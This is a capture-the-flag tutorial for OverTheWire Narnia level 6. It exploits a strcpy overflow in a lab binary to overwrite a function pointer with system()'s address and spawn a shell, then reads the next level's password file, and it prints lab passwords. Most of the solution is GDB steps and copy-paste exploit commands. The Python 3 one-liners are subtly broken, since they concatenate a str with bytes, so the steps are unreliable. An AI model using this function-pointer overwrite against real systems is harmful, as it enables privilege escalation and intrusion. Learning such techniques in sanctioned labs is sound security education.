OverTheWire Narnia Level 6 → 7 tutorial!!
Login
Log in with the password from Level 5 → 6 (my run gave neezoCaeng):
ssh narnia6@narnia.labs.overthewire.org -p 2226
# password: neezoCaeng
Task
Binary to exploit: /narnia/narnia6
The program accepts two arguments. Internally, it stores them in small buffers (b1, b2) and then calls a function pointer fp, which is initially set to point to puts().
By overflowing one of the arguments, we can overwrite the function pointer and redirect execution.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax");
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *);
int i;
fp = puts;
i = 1;
if(argc!=3){
printf("%s b1 b2\n", argv[0]);
exit(-1);
}
/* clear environment */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear arguments */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
A little bit of Theory
fpis initialized as pointer toputs.- The second argument (
argv[2]) is copied intob2usingstrcpywithout bounds checks. Sinceb2is only 8 bytes, long input will overflow into adjacent memory — includingfp. - If we overwrite
fpwith the address ofsystem(), then the callfp(b1)becomessystem(b1). - If
b1contains the string"sh", we get a shell with narnia7 privileges.
Key notes:
- The program erases environment and extra args, so we cannot rely on env-passed shellcode.
- This is a classic function pointer overwrite attack.
Step-by-step Solution
1) Inspect the binary in GDB
gdb /narnia/narnia6
Disassemble main and set a breakpoint just before the call fp(b1):
(gdb) disas main
(gdb) break *main+319
Run with dummy args:
(gdb) run AAAA BBBB
Dump the stack around $esp:
(gdb) x/16wx $esp
You’ll see both arguments (
AAAA,BBBB) and the pointer toputsstored in memory.
2) Find system() address
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>
Record this value — it will replace fp.
3) Craft payloads
argv[1]="sh;" + padding(this will be executed bysystem)argv[2]= overflow string to overwritefpwithsystem()address.
Example run:
./narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c 'import struct;print("B"*4 + struct.pack("<I", 0xf7e4c850))')
Replace
0xf7e4c850with the actualsystemaddress from your GDB session.
4) Verify exploit
whoami
# narnia7
cat /etc/narnia_pass/narnia7
My run gave:
ahkiaziphu
Password
This is the password from my run. Yours may differ depending on server snapshot:
ahkiaziphu
Troubleshooting
- Segmentation fault before shell → Wrong overwrite alignment. Try adjusting padding in
argv[1]andargv[2]. - No shell, just prints “sh” →
fpwasn’t overwritten. Recheck the offset and confirm your system() address. - Illegal instruction → You may have corrupted the stack with bad bytes. Ensure your overwrite is exact and only touches
fp.
Copy-paste Quick Exploit
system_addr=0xf7e4c850 # replace with the address from your GDB
/narnia/narnia6 $(python3 -c 'print("sh;" + "A"*5)') $(python3 -c "import struct;print('B'*4 + struct.pack('<I', $system_addr))")
whoami
cat /etc/narnia_pass/narnia7
Congrats 🎉 You exploited a function pointer overwrite to redirect execution from puts to system("sh"). On to Level 7 → 8!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
